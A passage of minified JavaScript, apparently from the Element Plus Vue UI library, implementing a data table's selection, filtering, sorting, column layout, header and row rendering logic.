0:G.length)===0){E.value=!1;return}let Y;r.value&&(Y=ol(x.value,r.value));const $=function(Te){return Y?!!Y[xr(Te,r.value)]:x.value.includes(Te)};let oe=!0,ee=0,ze=0;for(let Te=0,Xe=(o.value||[]).length;Te<Xe;Te++){const wt=(Z=(O=t==null?void 0:t.store)==null?void 0:O.states)==null?void 0:Z.rowKey.value,at=Te+ze,gt=o.value[Te],Ht=W.value&&W.value.call(null,gt,at);if($(gt))ee++;else if(!W.value||Ht){oe=!1;break}ze+=re(xr(gt,wt))}ee===0&&(oe=!1),E.value=oe},re=G=>{var O;if(!t||!t.store)return 0;const{treeData:Z}=t.store.states;let Y=0;const $=(O=Z.value[G])==null?void 0:O.children;return $&&(Y+=$.length,$.forEach(oe=>{Y+=re(oe)})),Y},de=(G,O)=>{Array.isArray(G)||(G=[G]);const Z={};return G.forEach(Y=>{j.value[Y.id]=O,Z[Y.columnKey||Y.id]=O}),Z},ce=(G,O,Z)=>{P.value&&P.value!==G&&(P.value.order=null),P.value=G,U.value=O,X.value=Z},we=()=>{let G=d(i);Object.keys(j.value).forEach(O=>{const Z=j.value[O];if(!Z||Z.length===0)return;const Y=t4({columns:u.value},O);Y&&Y.filterMethod&&(G=G.filter($=>Z.some(oe=>Y.filterMethod.call(null,oe,$,Y))))}),H.value=G},Ie=()=>{o.value=Dce(H.value,{sortingColumn:P.value,sortProp:U.value,sortOrder:X.value})},ge=(G=void 0)=>{G&&G.filter||we(),Ie()},Me=G=>{const{tableHeaderRef:O}=t.refs;if(!O)return;const Z=Object.assign({},O.filterPanels),Y=Object.keys(Z);if(Y.length)if(typeof G=="string"&&(G=[G]),Array.isArray(G)){const $=G.map(oe=>Gce({columns:u.value},oe));Y.forEach(oe=>{const ee=$.find(ze=>ze.id===oe);ee&&(ee.filteredValue=[])}),t.store.commit("filterChange",{column:$,values:[],silent:!0,multi:!0})}else Y.forEach($=>{const oe=u.value.find(ee=>ee.id===$);oe&&(oe.filteredValue=[])}),j.value={},t.store.commit("filterChange",{column:{},values:[],silent:!0})},se=()=>{P.value&&(ce(null,null,null),t.store.commit("changeSortCondition",{silent:!0}))},{setExpandRowKeys:ue,toggleRowExpansion:ve,updateExpandRows:ke,states:me,isRowExpanded:Ee}=Fce({data:o,rowKey:r}),{updateTreeExpandKeys:Le,toggleTreeExpansion:Ae,updateTreeData:be,loadOrToggle:xe,states:Re}=Pce({data:o,rowKey:r}),{updateCurrentRowData:Ne,updateCurrentRow:Se,setCurrentRowKey:Ze,states:Q}=Hce({data:o,rowKey:r});return{assertRowKey:h,updateColumns:w,scheduleLayout:A,isSelected:C,clearSelection:S,cleanSelection:z,getSelectionRows:k,toggleRowSelection:y,_toggleAllSelection:T,toggleAllSelection:null,updateSelectionByRowKey:te,updateAllSelected:le,updateFilters:de,updateCurrentRow:Se,updateSort:ce,execFilter:we,execSort:Ie,execQuery:ge,clearFilter:Me,clearSort:se,toggleRowExpansion:ve,setExpandRowKeysAdapter:G=>{ue(G),Le(G)},setCurrentRowKey:Ze,toggleRowExpansionAdapter:(G,O)=>{u.value.some(({type:Y})=>Y==="expand")?ve(G,O):Ae(G,O)},isRowExpanded:Ee,updateExpandRows:ke,updateCurrentRowData:Ne,loadOrToggle:xe,updateTreeData:be,states:{tableSize:n,rowKey:r,data:o,_data:i,isComplex:s,_columns:a,originColumns:l,columns:u,fixedColumns:c,rightFixedColumns:f,leafColumns:p,fixedLeafColumns:m,rightFixedLeafColumns:g,updateOrderFns:v,leafColumnsLength:I,fixedLeafColumnsLength:q,rightFixedLeafColumnsLength:M,isAllSelected:E,selection:x,reserveSelection:R,selectOnIndeterminate:K,selectable:W,filters:j,filteredData:H,sortingColumn:P,sortProp:U,sortOrder:X,hoverRow:L,...me,...Re,...Q}}}function wy(e,t){return e.map(n=>{var r;return n.id===t.id?t:((r=n.children)!=null&&r.length&&(n.children=wy(n.children,t)),n)})}function Sy(e){e.forEach(t=>{var n,r;t.no=(n=t.getColumnIndex)==null?void 0:n.call(t),(r=t.children)!=null&&r.length&&Sy(t.children)}),e.sort((t,n)=>t.no-n.no)}function Qce(){const e=bt(),t=Xce();return{ns:Oe("table"),...t,mutations:{setData(s,a){const l=d(s._data)!==a;s.data.value=a,s._data.value=a,e.store.execQuery(),e.store.updateCurrentRowData(),e.store.updateExpandRows(),e.store.updateTreeData(e.store.states.defaultExpandAll.value),d(s.reserveSelection)?(e.store.assertRowKey(),e.store.updateSelectionByRowKey()):l?e.store.clearSelection():e.store.cleanSelection(),e.store.updateAllSelected(),e.$ready&&e.store.scheduleLayout()},insertColumn(s,a,l,u){const c=d(s._columns);let f=[];l?(l&&!l.children&&(l.children=[]),l.children.push(a),f=wy(c,l)):(c.push(a),f=c),Sy(f),s._columns.value=f,s.updateOrderFns.push(u),a.type==="selection"&&(s.selectable.value=a.selectable,s.reserveSelection.value=a.reserveSelection),e.$ready&&(e.store.updateColumns(),e.store.scheduleLayout())},updateColumnOrder(s,a){var l;((l=a.getColumnIndex)==null?void 0:l.call(a))!==a.no&&(Sy(s._columns.value),e.$ready&&e.store.updateColumns())},removeColumn(s,a,l,u){const c=d(s._columns)||[];if(l)l.children.splice(l.children.findIndex(p=>p.id===a.id),1),$e(()=>{var p;((p=l.children)==null?void 0:p.length)===0&&delete l.children}),s._columns.value=wy(c,l);else{const p=c.indexOf(a);p>-1&&(c.splice(p,1),s._columns.value=c)}const f=s.updateOrderFns.indexOf(u);f>-1&&s.updateOrderFns.splice(f,1),e.$ready&&(e.store.updateColumns(),e.store.scheduleLayout())},sort(s,a){const{prop:l,order:u,init:c}=a;if(l){const f=d(s.columns).find(p=>p.property===l);f&&(f.order=u,e.store.updateSort(f,l,u),e.store.commit("changeSortCondition",{init:c}))}},changeSortCondition(s,a){const{sortingColumn:l,sortProp:u,sortOrder:c}=s,f=d(l),p=d(u),m=d(c);m===null&&(s.sortingColumn.value=null,s.sortProp.value=null);const g={filter:!0};e.store.execQuery(g),(!a||!(a.silent||a.init))&&e.emit("sort-change",{column:f,prop:p,order:m}),e.store.updateTableScrollY()},filterChange(s,a){const{column:l,values:u,silent:c}=a,f=e.store.updateFilters(l,u);e.store.execQuery(),c||e.emit("filter-change",f),e.store.updateTableScrollY()},toggleAllSelection(){e.store.toggleAllSelection()},rowSelectedChanged(s,a){e.store.toggleRowSelection(a),e.store.updateAllSelected()},setHoverRow(s,a){s.hoverRow.value=a},setCurrentRow(s,a){e.store.updateCurrentRow(a)}},commit:function(s,...a){const l=e.store.mutations;if(l[s])l[s].apply(e,[e.store.states].concat(a));else throw new Error(`Action not found: ${s}`)},updateTableScrollY:function(){$e(()=>e.layout.updateScrollY.apply(e.layout))}}}const cd={rowKey:"rowKey",defaultExpandAll:"defaultExpandAll",selectOnIndeterminate:"selectOnIndeterminate",indent:"indent",lazy:"lazy",data:"data","treeProps.hasChildren":{key:"lazyColumnIdentifier",default:"hasChildren"},"treeProps.children":{key:"childrenColumnName",default:"children"}};function _ce(e,t){if(!e)throw new Error("Table is required.");const n=Qce();return n.toggleAllSelection=co(n._toggleAllSelection,10),Object.keys(cd).forEach(r=>{i4(s4(t,r),r,n)}),$ce(n,t),n}function $ce(e,t){Object.keys(cd).forEach(n=>{Ce(()=>s4(t,n),r=>{i4(r,n,e)})})}function i4(e,t,n){let r=e,o=cd[t];typeof cd[t]=="object"&&(o=o.key,r=r||cd[t].default),n.states[o].value=r}function s4(e,t){if(t.includes(".")){const n=t.split(".");let r=e;return n.forEach(o=>{r=r[o]}),r}else return e[t]}class ede{constructor(t){this.observers=[],this.table=null,this.store=null,this.columns=[],this.fit=!0,this.showHeader=!0,this.height=D(null),this.scrollX=D(!1),this.scrollY=D(!1),this.bodyWidth=D(null),this.fixedWidth=D(null),this.rightFixedWidth=D(null),this.gutterWidth=0;for(const n in t)Gt(t,n)&&(mn(this[n])?this[n].value=t[n]:this[n]=t[n]);if(!this.table)throw new Error("Table is required for Table Layout");if(!this.store)throw new Error("Store is required for Table Layout")}updateScrollY(){if(this.height.value===null)return!1;const n=this.table.refs.scrollBarRef;if(this.table.vnode.el&&(n!=null&&n.wrapRef)){let r=!0;const o=this.scrollY.value;return r=n.wrapRef.scrollHeight>n.wrapRef.clientHeight,this.scrollY.value=r,o!==r}return!1}setHeight(t,n="height"){if(!Tt)return;const r=this.table.vnode.el;if(t=Bce(t),this.height.value=Number(t),!r&&(t||t===0))return $e(()=>this.setHeight(t,n));typeof t=="number"?(r.style[n]=`${t}px`,this.updateElsHeight()):typeof t=="string"&&(r.style[n]=t,this.updateElsHeight())}setMaxHeight(t){this.setHeight(t,"max-height")}getFlattenColumns(){const t=[];return this.table.store.states.columns.value.forEach(r=>{r.isColumnGroup?t.push.apply(t,r.columns):t.push(r)}),t}updateElsHeight(){this.updateScrollY(),this.notifyObservers("scrollable")}headerDisplayNone(t){if(!t)return!0;let n=t;for(;n.tagName!=="DIV";){if(getComputedStyle(n).display==="none")return!0;n=n.parentElement}return!1}updateColumnsWidth(){if(!Tt)return;const t=this.fit,n=this.table.vnode.el.clientWidth;let r=0;const o=this.getFlattenColumns(),i=o.filter(l=>typeof l.width!="number");if(o.forEach(l=>{typeof l.width=="number"&&l.realWidth&&(l.realWidth=null)}),i.length>0&&t){if(o.forEach(l=>{r+=Number(l.width||l.minWidth||80)}),r<=n){this.scrollX.value=!1;const l=n-r;if(i.length===1)i[0].realWidth=Number(i[0].minWidth||80)+l;else{const u=i.reduce((p,m)=>p+Number(m.minWidth||80),0),c=l/u;let f=0;i.forEach((p,m)=>{if(m===0)return;const g=Math.floor(Number(p.minWidth||80)*c);f+=g,p.realWidth=Number(p.minWidth||80)+g}),i[0].realWidth=Number(i[0].minWidth||80)+l-f}}else this.scrollX.value=!0,i.forEach(l=>{l.realWidth=Number(l.minWidth)});this.bodyWidth.value=Math.max(r,n),this.table.state.resizeState.value.width=this.bodyWidth.value}else o.forEach(l=>{!l.width&&!l.minWidth?l.realWidth=80:l.realWidth=Number(l.width||l.minWidth),r+=l.realWidth}),this.scrollX.value=r>n,this.bodyWidth.value=r;const s=this.store.states.fixedColumns.value;if(s.length>0){let l=0;s.forEach(u=>{l+=Number(u.realWidth||u.width)}),this.fixedWidth.value=l}const a=this.store.states.rightFixedColumns.value;if(a.length>0){let l=0;a.forEach(u=>{l+=Number(u.realWidth||u.width)}),this.rightFixedWidth.value=l}this.notifyObservers("columns")}addObserver(t){this.observers.push(t)}removeObserver(t){const n=this.observers.indexOf(t);n!==-1&&this.observers.splice(n,1)}notifyObservers(t){this.observers.forEach(r=>{var o,i;switch(t){case"columns":(o=r.state)==null||o.onColumnsChange(this);break;case"scrollable":(i=r.state)==null||i.onScrollableChange(this);break;default:throw new Error(`Table Layout don't have event ${t}.`)}})}}const{CheckboxGroup:tde}=Do,nde=ie({name:"ElTableFilterPanel",components:{ElCheckbox:Do,ElCheckboxGroup:tde,ElScrollbar:Cs,ElTooltip:Vr,ElIcon:Pe,ArrowDown:Ms,ArrowUp:L1},directives:{ClickOutside:Is},props:{placement:{type:String,default:"bottom-start"},store:{type:Object},column:{type:Object},upDataColumn:{type:Function}},setup(e){const t=bt(),{t:n}=Vt(),r=Oe("table-filter"),o=t==null?void 0:t.parent;o.filterPanels.value[e.column.id]||(o.filterPanels.value[e.column.id]=t);const i=D(!1),s=D(null),a=N(()=>e.column&&e.column.filters),l=N(()=>e.column.filterClassName?`${r.b()} ${e.column.filterClassName}`:r.b()),u=N({get:()=>{var R;return(((R=e.column)==null?void 0:R.filteredValue)||[])[0]},set:R=>{c.value&&(typeof R<"u"&&R!==null?c.value.splice(0,1,R):c.value.splice(0,1))}}),c=N({get(){return e.column?e.column.filteredValue||[]:[]},set(R){e.column&&e.upDataColumn("filteredValue",R)}}),f=N(()=>e.column?e.column.filterMultiple:!0),p=R=>R.value===u.value,m=()=>{i.value=!1},g=R=>{R.stopPropagation(),i.value=!i.value},v=()=>{i.value=!1},I=()=>{E(c.value),m()},q=()=>{c.value=[],E(c.value),m()},M=R=>{u.value=R,E(typeof R<"u"&&R!==null?c.value:[]),m()},E=R=>{e.store.commit("filterChange",{column:e.column,values:R}),e.store.updateAllSelected()};Ce(i,R=>{e.column&&e.upDataColumn("filterOpened",R)},{immediate:!0});const x=N(()=>{var R,K;return(K=(R=s.value)==null?void 0:R.popperRef)==null?void 0:K.contentRef});return{tooltipVisible:i,multiple:f,filterClassName:l,filteredValue:c,filterValue:u,filters:a,handleConfirm:I,handleReset:q,handleSelect:M,isActive:p,t:n,ns:r,showFilterPanel:g,hideFilterPanel:v,popperPaneRef:x,tooltip:s}}}),rde={key:0},ode=["disabled"],ide=["label","onClick"];function sde(e,t,n,r,o,i){const s=pt("el-checkbox"),a=pt("el-checkbox-group"),l=pt("el-scrollbar"),u=pt("arrow-up"),c=pt("arrow-down"),f=pt("el-icon"),p=pt("el-tooltip"),m=$p("click-outside");return B(),ye(p,{ref:"tooltip",visible:e.tooltipVisible,offset:0,placement:e.placement,"show-arrow":!1,"stop-popper-mouse-event":!1,teleported:"",effect:"light",pure:"","popper-class":e.filterClassName,persistent:""},{content:fe(()=>[e.multiple?(B(),_("div",rde,[ne("div",{class:F(e.ns.e("content"))},[ae(l,{"wrap-class":e.ns.e("wrap")},{default:fe(()=>[ae(a,{modelValue:e.filteredValue,"onUpdate:modelValue":t[0]||(t[0]=g=>e.filteredValue=g),class:F(e.ns.e("checkbox-group"))},{default:fe(()=>[(B(!0),_(Qe,null,Lt(e.filters,g=>(B(),ye(s,{key:g.value,value:g.value},{default:fe(()=>[Kt(We(g.text),1)]),_:2},1032,["value"]))),128))]),_:1},8,["modelValue","class"])]),_:1},8,["wrap-class"])],2),ne("div",{class:F(e.ns.e("bottom"))},[ne("button",{class:F({[e.ns.is("disabled")]:e.filteredValue.length===0}),disabled:e.filteredValue.length===0,type:"button",onClick:t[1]||(t[1]=(...g)=>e.handleConfirm&&e.handleConfirm(...g))},We(e.t("el.table.confirmFilter")),11,ode),ne("button",{type:"button",onClick:t[2]||(t[2]=(...g)=>e.handleReset&&e.handleReset(...g))},We(e.t("el.table.resetFilter")),1)],2)])):(B(),_("ul",{key:1,class:F(e.ns.e("list"))},[ne("li",{class:F([e.ns.e("list-item"),{[e.ns.is("active")]:e.filterValue===void 0||e.filterValue===null}]),onClick:t[3]||(t[3]=g=>e.handleSelect(null))},We(e.t("el.table.clearFilter")),3),(B(!0),_(Qe,null,Lt(e.filters,g=>(B(),_("li",{key:g.value,class:F([e.ns.e("list-item"),e.ns.is("active",e.isActive(g))]),label:g.value,onClick:v=>e.handleSelect(g.value)},We(g.text),11,ide))),128))],2))]),default:fe(()=>[ft((B(),_("span",{class:F([`${e.ns.namespace.value}-table__column-filter-trigger`,`${e.ns.namespace.value}-none-outline`]),onClick:t[4]||(t[4]=(...g)=>e.showFilterPanel&&e.showFilterPanel(...g))},[ae(f,null,{default:fe(()=>[e.column.filterOpened?(B(),ye(u,{key:0})):(B(),ye(c,{key:1}))]),_:1})],2)),[[m,e.hideFilterPanel,e.popperPaneRef]])]),_:1},8,["visible","placement","popper-class"])}var ade=Ye(nde,[["render",sde],["__file","filter-panel.vue"]]);function a4(e){const t=bt();nm(()=>{n.value.addObserver(t)}),mt(()=>{r(n.value),o(n.value)}),ws(()=>{r(n.value),o(n.value)}),Ia(()=>{n.value.removeObserver(t)});const n=N(()=>{const i=e.layout;if(!i)throw new Error("Can not find table layout.");return i}),r=i=>{var s;const a=((s=e.vnode.el)==null?void 0:s.querySelectorAll("colgroup > col"))||[];if(!a.length)return;const l=i.getFlattenColumns(),u={};l.forEach(c=>{u[c.id]=c});for(let c=0,f=a.length;c<f;c++){const p=a[c],m=p.getAttribute("name"),g=u[m];g&&p.setAttribute("width",g.realWidth||g.width)}},o=i=>{var s,a;const l=((s=e.vnode.el)==null?void 0:s.querySelectorAll("colgroup > col[name=gutter]"))||[];for(let c=0,f=l.length;c<f;c++)l[c].setAttribute("width",i.scrollY.value?i.gutterWidth:"0");const u=((a=e.vnode.el)==null?void 0:a.querySelectorAll("th.gutter"))||[];for(let c=0,f=u.length;c<f;c++){const p=u[c];p.style.width=i.scrollY.value?`${i.gutterWidth}px`:"0",p.style.display=i.scrollY.value?"":"none"}};return{tableLayout:n.value,onColumnsChange:r,onScrollableChange:o}}const Hi=Symbol("ElTable");function lde(e,t){const n=bt(),r=Fe(Hi),o=v=>{v.stopPropagation()},i=(v,I)=>{!I.filters&&I.sortable?g(v,I,!1):I.filterable&&!I.sortable&&o(v),r==null||r.emit("header-click",I,v)},s=(v,I)=>{r==null||r.emit("header-contextmenu",I,v)},a=D(null),l=D(!1),u=D({}),c=(v,I)=>{if(Tt&&!(I.children&&I.children.length>0)&&a.value&&e.border){l.value=!0;const q=r;t("set-drag-visible",!0);const E=(q==null?void 0:q.vnode.el).getBoundingClientRect().left,x=n.vnode.el.querySelector(`th.${I.id}`),R=x.getBoundingClientRect(),K=R.left-E+30;To(x,"noclick"),u.value={startMouseLeft:v.clientX,startLeft:R.right-E,startColumnLeft:R.left-E,tableLeft:E};const W=q==null?void 0:q.refs.resizeProxy;W.style.left=`${u.value.startLeft}px`,document.onselectstart=function(){return!1},document.ondragstart=function(){return!1};const j=P=>{const U=P.clientX-u.value.startMouseLeft,X=u.value.startLeft+U;W.style.left=`${Math.max(K,X)}px`},H=()=>{if(l.value){const{startColumnLeft:P,startLeft:U}=u.value,L=Number.parseInt(W.style.left,10)-P;I.width=I.realWidth=L,q==null||q.emit("header-dragend",I.width,U-P,I,v),requestAnimationFrame(()=>{e.store.scheduleLayout(!1,!0)}),document.body.style.cursor="",l.value=!1,a.value=null,u.value={},t("set-drag-visible",!1)}document.removeEventListener("mousemove",j),document.removeEventListener("mouseup",H),document.onselectstart=null,document.ondragstart=null,setTimeout(()=>{Br(x,"noclick")},0)};document.addEventListener("mousemove",j),document.addEventListener("mouseup",H)}},f=(v,I)=>{if(I.children&&I.children.length>0)return;const q=v.target;if(!Fo(q))return;const M=q==null?void 0:q.closest("th");if(!(!I||!I.resizable)&&!l.value&&e.border){const E=M.getBoundingClientRect(),x=document.body.style;E.width>12&&E.right-v.pageX<8?(x.cursor="col-resize",Yo(M,"is-sortable")&&(M.style.cursor="col-resize"),a.value=I):l.value||(x.cursor="",Yo(M,"is-sortable")&&(M.style.cursor="pointer"),a.value=null)}},p=()=>{Tt&&(document.body.style.cursor="")},m=({order:v,sortOrders:I})=>{if(v==="")return I[0];const q=I.indexOf(v||null);return I[q>I.length-2?0:q+1]},g=(v,I,q)=>{var M;v.stopPropagation();const E=I.order===q?null:q||m(I),x=(M=v.target)==null?void 0:M.closest("th");if(x&&Yo(x,"noclick")){Br(x,"noclick");return}if(!I.sortable)return;const R=e.store.states;let K=R.sortProp.value,W;const j=R.sortingColumn.value;(j!==I||j===I&&j.order===null)&&(j&&(j.order=null),R.sortingColumn.value=I,K=I.property),E?W=I.order=E:W=I.order=null,R.sortProp.value=K,R.sortOrder.value=W,r==null||r.store.commit("changeSortCondition")};return{handleHeaderClick:i,handleHeaderContextMenu:s,handleMouseDown:c,handleMouseMove:f,handleMouseOut:p,handleSortClick:g,handleFilterClick:o}}function ude(e){const t=Fe(Hi),n=Oe("table");return{getHeaderRowStyle:a=>{const l=t==null?void 0:t.props.headerRowStyle;return typeof l=="function"?l.call(null,{rowIndex:a}):l},getHeaderRowClass:a=>{const l=[],u=t==null?void 0:t.props.headerRowClassName;return typeof u=="string"?l.push(u):typeof u=="function"&&l.push(u.call(null,{rowIndex:a})),l.join(" ")},getHeaderCellStyle:(a,l,u,c)=>{var f;let p=(f=t==null?void 0:t.props.headerCellStyle)!=null?f:{};typeof p=="function"&&(p=p.call(null,{rowIndex:a,columnIndex:l,row:u,column:c}));const m=KI(l,c.fixed,e.store,u);return ac(m,"left"),ac(m,"right"),Object.assign({},p,m)},getHeaderCellClass:(a,l,u,c)=>{const f=zI(n.b(),l,c.fixed,e.store,u),p=[c.id,c.order,c.headerAlign,c.className,c.labelClassName,...f];c.children||p.push("is-leaf"),c.sortable&&p.push("is-sortable");const m=t==null?void 0:t.props.headerCellClassName;return typeof m=="string"?p.push(m):typeof m=="function"&&p.push(m.call(null,{rowIndex:a,columnIndex:l,row:u,column:c})),p.push(n.e("cell")),p.filter(g=>!!g).join(" ")}}}const l4=e=>{const t=[];return e.forEach(n=>{n.children?(t.push(n),t.push.apply(t,l4(n.children))):t.push(n)}),t},cde=e=>{let t=1;const n=(i,s)=>{if(s&&(i.level=s.level+1,t<i.level&&(t=i.level)),i.children){let a=0;i.children.forEach(l=>{n(l,i),a+=l.colSpan}),i.colSpan=a}else i.colSpan=1};e.forEach(i=>{i.level=1,n(i,void 0)});const r=[];for(let i=0;i<t;i++)r.push([]);return l4(e).forEach(i=>{i.children?(i.rowSpan=1,i.children.forEach(s=>s.isSubColumn=!0)):i.rowSpan=t-i.level+1,r[i.level-1].push(i)}),r};function dde(e){const t=Fe(Hi),n=N(()=>cde(e.store.states.originColumns.value));return{isGroup:N(()=>{const i=n.value.length>1;return i&&t&&(t.state.isGroup.value=!0),i}),toggleAllSelection:i=>{i.stopPropagation(),t==null||t.store.commit("toggleAllSelection")},columnRows:n}}var fde=ie({name:"ElTableHeader",components:{ElCheckbox:Do},props:{fixed:{type:String,default:""},store:{required:!0,type:Object},border:Boolean,defaultSort:{type:Object,default:()=>({prop:"",order:""})}},setup(e,{emit:t}){const n=bt(),r=Fe(Hi),o=Oe("table"),i=D({}),{onColumnsChange:s,onScrollableChange:a}=a4(r);mt(async()=>{await $e(),await $e();const{prop:K,order:W}=e.defaultSort;r==null||r.store.commit("sort",{prop:K,order:W,init:!0})});const{handleHeaderClick:l,handleHeaderContextMenu:u,handleMouseDown:c,handleMouseMove:f,handleMouseOut:p,handleSortClick:m,handleFilterClick:g}=lde(e,t),{getHeaderRowStyle:v,getHeaderRowClass:I,getHeaderCellStyle:q,getHeaderCellClass:M}=ude(e),{isGroup:E,toggleAllSelection:x,columnRows:R}=dde(e);return n.state={onColumnsChange:s,onScrollableChange:a},n.filterPanels=i,{ns:o,filterPanels:i,onColumnsChange:s,onScrollableChange:a,columnRows:R,getHeaderRowClass:I,getHeaderRowStyle:v,getHeaderCellClass:M,getHeaderCellStyle:q,handleHeaderClick:l,handleHeaderContextMenu:u,handleMouseDown:c,handleMouseMove:f,handleMouseOut:p,handleSortClick:m,handleFilterClick:g,isGroup:E,toggleAllSelection:x}},render(){const{ns:e,isGroup:t,columnRows:n,getHeaderCellStyle:r,getHeaderCellClass:o,getHeaderRowClass:i,getHeaderRowStyle:s,handleHeaderClick:a,handleHeaderContextMenu:l,handleMouseDown:u,handleMouseMove:c,handleSortClick:f,handleMouseOut:p,store:m,$parent:g}=this;let v=1;return tt("thead",{class:{[e.is("group")]:t}},n.map((I,q)=>tt("tr",{class:i(q),key:q,style:s(q)},I.map((M,E)=>(M.rowSpan>v&&(v=M.rowSpan),tt("th",{class:o(q,E,I,M),colspan:M.colSpan,key:`${M.id}-thead`,rowspan:M.rowSpan,style:r(q,E,I,M),onClick:x=>a(x,M),onContextmenu:x=>l(x,M),onMousedown:x=>u(x,M),onMousemove:x=>c(x,M),onMouseout:p},[tt("div",{class:["cell",M.filteredValue&&M.filteredValue.length>0?"highlight":""]},[M.renderHeader?M.renderHeader({column:M,$index:E,store:m,_self:g}):M.label,M.sortable&&tt("span",{onClick:x=>f(x,M),class:"caret-wrapper"},[tt("i",{onClick:x=>f(x,M,"ascending"),class:"sort-caret ascending"}),tt("i",{onClick:x=>f(x,M,"descending"),class:"sort-caret descending"})]),M.filterable&&tt(ade,{store:m,placement:M.filterPlacement||"bottom-start",column:M,upDataColumn:(x,R)=>{M[x]=R}})])]))))))}});function hde(e){const t=Fe(Hi),n=D(""),r=D(tt("div")),o=(g,v,I)=>{var q;const M=t,E=y0(g);let x;const R=(q=M==null?void 0:M.vnode.el)==null?void 0:q.dataset.prefix;E&&(x=q7({columns:e.store.states.columns.value},E,R),x&&(M==null||M.emit(`cell-${I}`,v,x,E,g))),M==null||M.emit(`row-${I}`,v,x,g)},i=(g,v)=>{o(g,v,"dblclick")},s=(g,v)=>{e.store.commit("setCurrentRow",v),o(g,v,"click")},a=(g,v)=>{o(g,v,"contextmenu")},l=co(g=>{e.store.commit("setHoverRow",g)},30),u=co(()=>{e.store.commit("setHoverRow",null)},30),c=g=>{const v=window.getComputedStyle(g,null),I=Number.parseInt(v.paddingLeft,10)||0,q=Number.parseInt(v.paddingRight,10)||0,M=Number.parseInt(v.paddingTop,10)||0,E=Number.parseInt(v.paddingBottom,10)||0;return{left:I,right:q,top:M,bottom:E}},f=(g,v,I)=>{let q=v.target.parentNode;for(;g>1&&(q=q==null?void 0:q.nextSibling,!(!q||q.nodeName!=="TR"));)I(q,"hover-row hover-fixed-row"),g--};return{handleDoubleClick:i,handleClick:s,handleContextMenu:a,handleMouseEnter:l,handleMouseLeave:u,handleCellMouseEnter:(g,v,I)=>{var q;const M=t,E=y0(g),x=(q=M==null?void 0:M.vnode.el)==null?void 0:q.dataset.prefix;if(E){const A=q7({columns:e.store.states.columns.value},E,x);E.rowSpan>1&&f(E.rowSpan,g,To);const C=M.hoverState={cell:E,column:A,row:v};M==null||M.emit("cell-mouse-enter",C.row,C.column,C.cell,g)}if(!I)return;const R=g.target.querySelector(".cell");if(!(Yo(R,`${x}-tooltip`)&&R.childNodes.length))return;const K=document.createRange();K.setStart(R,0),K.setEnd(R,R.childNodes.length);let W=K.getBoundingClientRect().width,j=K.getBoundingClientRect().height;W-Math.floor(W)<.001&&(W=Math.floor(W)),j-Math.floor(j)<.001&&(j=Math.floor(j));const{top:U,left:X,right:L,bottom:h}=c(R),b=X+L,w=U+h;(W+b>R.offsetWidth||j+w>R.offsetHeight||R.scrollWidth>R.offsetWidth)&&Uce(I,E.innerText||E.textContent,E,M)},handleCellMouseLeave:g=>{const v=y0(g);if(!v)return;v.rowSpan>1&&f(v.rowSpan,g,Br);const I=t==null?void 0:t.hoverState;t==null||t.emit("cell-mouse-leave",I==null?void 0:I.row,I==null?void 0:I.column,I==null?void 0:I.cell,g)},tooltipContent:n,tooltipTrigger:r}}function pde(e){const t=Fe(Hi),n=Oe("table");return{getRowStyle:(u,c)=>{const f=t==null?void 0:t.props.rowStyle;return typeof f=="function"?f.call(null,{row:u,rowIndex:c}):f||null},getRowClass:(u,c)=>{const f=[n.e("row")];t!=null&&t.props.highlightCurrentRow&&u===e.store.states.currentRow.value&&f.push("current-row"),e.stripe&&c%2===1&&f.push(n.em("row","striped"));const p=t==null?void 0:t.props.rowClassName;return typeof p=="string"?f.push(p):typeof p=="function"&&f.push(p.call(null,{row:u,rowIndex:c})),f},getCellStyle:(u,c,f,p)=>{const m=t==null?void 0:t.props.cellStyle;let g=m??{};typeof m=="function"&&(g=m.call(null,{rowIndex:u,columnIndex:c,row:f,column:p}));const v=KI(c,e==null?void 0:e.fixed,e.store);return ac(v,"left"),ac(v,"right"),Object.assign({},g,v)},getCellClass:(u,c,f,p,m)=>{const g=zI(n.b(),c,e==null?void 0:e.fixed,e.store,void 0,m),v=[p.id,p.align,p.className,...g],I=t==null?void 0:t.props.cellClassName;return typeof I=="string"?v.push(I):typeof I=="function"&&v.push(I.call(null,{rowIndex:u,columnIndex:c,row:f,column:p})),v.push(n.e("cell")),v.filter(q=>!!q).join(" ")},getSpan:(u,c,f,p)=>{let m=1,g=1;const v=t==null?void 0:t.props.spanMethod;if(typeof v=="function"){const I=v({row:u,column:c,rowIndex:f,columnIndex:p});Array.isArray(I)?(m=I[0],g=I[1]):typeof I=="object"&&(m=I.rowspan,g=I.colspan)}return{rowspan:m,colspan:g}},getColspanRealWidth:(u,c,f)=>{if(c<1)return u[f].realWidth;const p=u.map(({realWidth:m,width:g})=>m||g).slice(f,f+c);return Number(p.reduce((m,g)=>Number(m)+Number(g),-1))}}}function mde(e){const t=Fe(Hi),n=Oe("table"),{handleDoubleClick:r,handleClick:o,handleContextMenu:i,handleMouseEnter:s,handleMouseLeave:a,handleCellMouseEnter:l,handleCellMouseLeave:u,tooltipContent:c,tooltipTrigger:f}=hde(e),{getRowStyle:p,getRowClass:m,getCellStyle:g,getCellClass:v,getSpan:I,getColspanRealWidth:q}=pde(e),M=N(()=>e.store.states.columns.value.findIndex(({type:W})=>W==="default")),E=(W,j)=>{const H=t.props.rowKey;return H?xr(W,H):j},x=(W,j,H,P=!1)=>{const{tooltipEffect:U,tooltipOptions:X,store:L}=e,{indent:h,columns:b}=L.states,w=m(W,j);let A=!0;return H&&(w.push(n.em("row",`level-${H.level}`)),A=H.display),tt("tr",{style:[A?null:{display:"none"},p(W,j)],class:w,key:E(W,j),onDblclick:S=>r(S,W),onClick:S=>o(S,W),onContextmenu:S=>i(S,W),onMouseenter:()=>s(j),onMouseleave:a},b.value.map((S,z)=>{const{rowspan:k,colspan:y}=I(W,S,j,z);if(!k||!y)return null;const T=Object.assign({},S);T.realWidth=q(b.value,y,z);const te={store:e.store,_self:e.context||t,column:T,row:W,$index:j,cellIndex:z,expanded:P};z===M.value&&H&&(te.treeNode={indent:H.level*h.value,level:H.level},typeof H.expanded=="boolean"&&(te.treeNode.expanded=H.expanded,"loading"in H&&(te.treeNode.loading=H.loading),"noLazyChildren"in H&&(te.treeNode.noLazyChildren=H.noLazyChildren)));const le=`${j},${z}`,re=T.columnKey||T.rawColumnKey||"",de=R(z,S,te),ce=S.showOverflowTooltip&&zU({effect:U},X,S.showOverflowTooltip);return 